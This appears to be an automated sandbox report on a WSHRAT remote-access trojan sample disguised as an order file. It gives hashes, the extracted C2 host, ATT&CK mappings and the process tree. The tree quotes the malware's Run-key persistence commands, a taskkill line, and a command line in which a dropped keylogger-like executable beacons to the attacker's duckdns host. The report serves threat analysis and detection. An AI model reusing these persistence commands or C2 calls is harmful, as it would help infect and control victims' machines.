wshrat | 3c881e2fb1512cbee7733901141d98c1ba75f107a9438f5ad46b86a3878bfb81

General

Target

ORDER-24617-01667859-24.js
Size

7KB
MD5

f3e6a7eba2bd6ca312768ac1560bad6f
SHA1

04a683416a38f3c8acf06b64fd5e598a2902f684
SHA256

7a06aaf3103d9dce60c0c4652fd505c7a8df42c826d486be1973008d1c22c838
SHA512

4ea84c8c33a0fa6a235f6b5ec620e172a5ea5f4a9f372307ea9e1946d6393326bec448e32cadacb1c444270c973046a09be3c590fb7ae61fcc76999553e03265
SSDEEP

48:95jUotZH9ZR0/kdlZK8rflZPos9ZPfBjBZfo5CvA7ehZvKoN69ZLi1t16r1SBZ5B:T0/ZYbukAKdrKBXB1XBdi

Score

10^/10

wshrat execution persistence trojan

Malware Config

Extracted

Family

wshrat

C2

http://jinvestments.duckdns.org:7044

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 26 IoCs

flow	pid	Process
1	2044	wscript.exe
21	3840	wscript.exe
23	3840	wscript.exe
26	3840	wscript.exe
27	3840	wscript.exe
28	3840	wscript.exe
38	3840	wscript.exe
46	3840	wscript.exe
47	3840	wscript.exe
51	3840	wscript.exe
52	3840	wscript.exe
57	3840	wscript.exe
58	3840	wscript.exe
59	3840	wscript.exe
60	3840	wscript.exe
61	3840	wscript.exe
64	3840	wscript.exe
65	3840	wscript.exe
66	3840	wscript.exe
67	3840	wscript.exe
69	3840	wscript.exe
73	3840	wscript.exe
75	3840	wscript.exe
76	3840	wscript.exe
77	3840	wscript.exe
78	3840	wscript.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HTYBQC.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HTYBQC.vbs	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1084	kl-plugin.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
1788	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings	wscript.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1084	kl-plugin.exe
1084	kl-plugin.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 4064	2044	wscript.exe	92
PID 2044 wrote to memory of 4064	2044	wscript.exe	92
PID 4064 wrote to memory of 3840	4064	WScript.exe	94
PID 4064 wrote to memory of 3840	4064	WScript.exe	94
PID 3840 wrote to memory of 1320	3840	wscript.exe	96
PID 3840 wrote to memory of 1320	3840	wscript.exe	96
PID 1320 wrote to memory of 1788	1320	cmd.exe	98
PID 1320 wrote to memory of 1788	1320	cmd.exe	98
PID 3840 wrote to memory of 1084	3840	wscript.exe	99
PID 3840 wrote to memory of 1084	3840	wscript.exe	99
PID 3840 wrote to memory of 1084	3840	wscript.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ORDER-24617-01667859-24.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HTYBQC.vbs"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\HTYBQC.vbs"
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM kl-plugin.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1788
  - - C:\Users\Admin\AppData\Roaming\kl-plugin.exe
      "C:\Users\Admin\AppData\Roaming\kl-plugin.exe" jinvestments.duckdns.org 7044 "WSHRAT|5C6941C0|PXHSTPPU|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 6/17/2024|Visual Basic-v2.0|GB:United Kingdom" 1
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4264,i,5229431749694857451,16836185654682871752,262144 --variations-seed-version --mojo-platform-channel-handle=3864 /prefetch:8
1⤵
PID:3380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\SYNNS6ZU\json[1].json

Filesize
297B

MD5
be2ba1a8c142b5fa2178396ac67cb7d8

SHA1
b7c3d209d9c95d4b67d7ffb3c777d07f398260a5

SHA256
1191fa5928ed7ebf51830c0e601a327fb6480e4f35d9f96962c828b5b45ea260

SHA512
cca824422ebcc194e96c6af6c66160409b6c4f9e30af387921ad55712fc4316866e7ac3b2806427f7e06e43e99ef56e612738261f8d38fb58ef2758dc13c9204

Download Submit
C:\Users\Admin\AppData\Local\Temp\HTYBQC.vbs

Filesize
832KB

MD5
9eb84b410320b27a000a848a1c22b91c

SHA1
7b84f1301c73993648f0bdf254f1fc202a12aab8

SHA256
f44a15168c937d547a57015ccdf034d5f958fa9e9a159e09730b09acb17124dc

SHA512
9ab878e70322df08ebe934e18b30d7b151f49a27ca99fafefa77fdd81ef3ed05700671d0e0dc22842355995fd2c5dc39442d60a9559635eda11ca17194d2d203

Download Submit
C:\Users\Admin\AppData\Roaming\kl-plugin.exe

Filesize
25KB

MD5
7099a939fa30d939ccceb2f0597b19ed

SHA1
37b644ef5722709cd9024a372db4590916381976

SHA256
272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a

SHA512
6e179a32b3091beee71d425248ae56495e31e9df569159a93af5826ddef28fba904ae4810d3ca2da45fe6dc8be1eeaecf71e8225b3e605f22f41f4e46d1cf721

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads